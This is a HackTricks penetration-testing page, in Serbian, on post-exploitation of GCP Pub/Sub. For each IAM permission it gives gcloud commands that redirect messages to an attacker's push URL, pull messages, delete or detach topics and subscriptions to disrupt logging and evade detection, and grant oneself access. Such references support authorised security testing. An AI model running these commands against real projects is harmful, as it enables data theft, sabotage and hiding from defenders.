# GCP - Pub/Sub Post Exploatacija

{{#include ../../../banners/hacktricks-training.md}}

## Pub/Sub

Za više informacija o Pub/Sub, proverite sledeću stranicu:

{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}

### `pubsub.topics.publish`

Objavite poruku u temi, korisno za **slanje neočekivanih podataka** i aktiviranje neočekivanih funkcionalnosti ili iskorišćavanje ranjivosti:
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
```
### `pubsub.topics.detachSubscription`

Koristan za sprečavanje pretplate da prima poruke, možda da bi se izbegla detekcija.
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
### `pubsub.topics.delete`

Koristan za sprečavanje pretplate da prima poruke, možda da se izbegne otkrivanje.\
Moguće je obrisati temu čak i sa pretplatama koje su joj pridružene.
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
### `pubsub.topics.update`

Koristite ovu dozvolu da ažurirate neka podešavanja teme kako biste je ometali, kao što su `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...

### `pubsub.topics.setIamPolicy`

Dajte sebi dozvolu da izvršite bilo koji od prethodnih napada.

### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)

Preuzmite sve poruke na veb serveru:
```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
Kreirajte pretplatu i koristite je za **povlačenje poruka**:
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
```
### `pubsub.subscriptions.delete`

**Brisanje pretplate** može biti korisno za ometanje sistema za obradu logova ili nečega sličnog:
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
### `pubsub.subscriptions.update`

Koristite ovu dozvolu da ažurirate neka podešavanja tako da se poruke čuvaju na mestu kojem možete pristupiti (URL, Big Query tabela, Bucket) ili samo da ih ometate.
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
### `pubsub.subscriptions.setIamPolicy`

Dajte sebi dozvole potrebne za izvođenje bilo kojeg od prethodno komentisanih napada.

### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)

Napadnite šemu na temu tako da poruke ne ispunjavaju šemu i tako se tema ometa.\
Ako nema šema, možda ćete morati da kreirate jednu.
```json:schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
```

```bash
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
```
### `pubsub.schemas.delete`

Ovo može izgledati kao brisanje šeme, ali ćete moći slati poruke koje ne ispunjavaju šemu. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u temu. Dakle, ovo je **BEZVREDNO**:
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
### `pubsub.schemas.setIamPolicy`

Dajte sebi dozvole potrebne za izvođenje bilo kojeg od prethodno komentisanih napada.

### `pubsub.snapshots.create`, `pubsub.snapshots.seek`

Ovo će kreirati snimak svih neACKovanih poruka i vratiti ih u pretplatu. Nije baš korisno za napadača, ali evo:
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
```
{{#include ../../../banners/hacktricks-training.md}}
